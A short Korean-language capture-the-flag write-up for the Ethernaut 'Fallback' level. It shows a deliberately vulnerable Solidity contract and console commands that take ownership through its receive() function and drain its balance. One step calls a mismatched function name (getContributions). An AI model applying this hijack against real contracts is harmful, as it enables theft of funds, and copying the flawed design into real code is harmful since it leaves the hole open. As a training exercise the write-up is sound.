[Ethernaut] 1. Fallback

소스 코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

목표

ownership을 차지하고 컨트랙트의 잔고를 0으로 만들어야한다.

 

방법

1. await contract.owner() // 현재 owner의 주소 확인
2. contract.contribute({value : 1})  // 1wei 전송
3. await contract.getContributions() 
4. contract.sendTransaction({value : 2}) // fallback을 실행시킨다.
5. await contract.owner() // owner가 변경되었는지 확인
6. contract.withdraw() //출금
7. await getBalance(contract.address) // 컨트랙트의 잔고 확인